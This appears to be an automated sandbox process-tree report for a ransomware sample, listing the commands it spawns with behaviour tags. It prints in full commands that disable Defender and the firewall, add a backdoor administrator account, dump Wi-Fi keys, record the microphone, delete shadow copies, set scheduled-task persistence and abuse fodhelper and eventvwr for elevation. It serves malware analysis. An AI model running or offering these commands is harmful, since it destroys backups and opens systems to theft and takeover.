        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:11200
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:11348
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:9476
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:9744
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:8932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764912405848.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13924
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14760
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:8368
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:5004
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:10272
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:8204
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:388
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        14⤵
        Launches sc.exe
        
        PID:2496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6632
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:9128
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:7884
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:5656
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:10024
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:10024
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764773769526.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14000
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14120
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:14440
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:11992
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:10292
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:11892
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:7812
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:10800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6012
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:7756
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:7660
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:7152
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:8056
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:8344
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764654483966.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11308
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:9756
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:10704
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:12284
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:14080
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:2052
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:8648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4144
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:6992
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:6204
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:5776
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:6916
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:8408
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764528058240.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11288
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11512
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:11344
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:8916
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:12752
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:4996
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:7828
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:13328
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4124
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:5760
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:4812
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:4752
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6228
      - C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:7672
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9580
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764421795158.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9856
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:6836
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:10576
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:9208
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:13168
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:11388
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:9072
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:1980
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:3220
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:1956
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:2036
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:3324
  - - C:\Windows\SYSTEM32\notepad.exe
      "notepad.exe"
      4⤵
      PID:6428
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:7896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764395831698.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8200
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:10100
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:9468
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:10252
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:11488
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:10656
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:12660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:4288
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:2456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:5656
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:5804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:4332
- C:\Windows\SYSTEM32\notepad.exe
  "notepad.exe"
  2⤵
  PID:5604
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:8508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764397780580.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2372
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:9300
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:10296
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:10836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5640
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:11568
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:13280

C:\Users\Admin\AppData\Local\tcpmon.exe
C:\Users\Admin\AppData\Local\tcpmon.exe
1⤵
PID:5184
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:992
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\bc87aa16-5028-4fc9-af3c-5547d399c4da.inf
  2⤵
  PID:3952
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:936
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:5060
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:2124
- - C:\Users\Admin\AppData\Local\tcpmon.exe
    "C:\Users\Admin\AppData\Local\tcpmon.exe"
    3⤵
    PID:4688
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3392
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\21da7c26-dbdd-43b4-9b64-b332a4d6e9a5.inf
      4⤵
      PID:4200
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:3764
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:2548
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:4132
    - - C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        5⤵
        
        PID:1652
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6932
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0f08a8c2-2933-4ab3-8851-a05268c70c23.inf
        6⤵
        
        PID:244
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:1808
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:2636
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:6792
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        7⤵
        
        PID:7112
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4932
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5678ca4a-115d-450b-8e34-8df27e1f7af2.inf
        8⤵
        
        PID:3468
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:6416
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:2952
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:8092
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        9⤵
        
        PID:8656
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8956
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\041fdb5a-55c1-440b-a40f-3546e5cc95cf.inf
        10⤵
        
        PID:8896
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:10136
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:9296
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:9328
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        11⤵
        
        PID:10844
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12880
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2700ea26-a1bf-4d75-9da2-e5d73ddd480b.inf
        12⤵
        
        PID:10120
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:11864
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:10644
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:10428
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        13⤵
        
        PID:14612
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13808
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1b9a0bce-d0e1-4548-be78-4e10dd02a3d2.inf
        14⤵
        
        PID:9668
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:8652
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:5988
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:12152
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        15⤵
        
        PID:12092
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10276
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d3eb7876-7ee4-4a9a-b36b-f67325353e18.inf
        16⤵
        
        PID:8172
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:14968
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:6156
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:9776
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        17⤵
        
        PID:10452
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8148
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\32614c7f-5a22-4560-897e-73e034473ff7.inf
        18⤵
        
        PID:11144
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:9556
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:5448
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:10516
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        19⤵
        
        PID:7484
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9548
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:10352
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:1184
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:8280
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12432
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:13792
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:14780
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:13028
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:7364
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:7844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1900
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:12864
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:13092
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:14216
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:8816
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
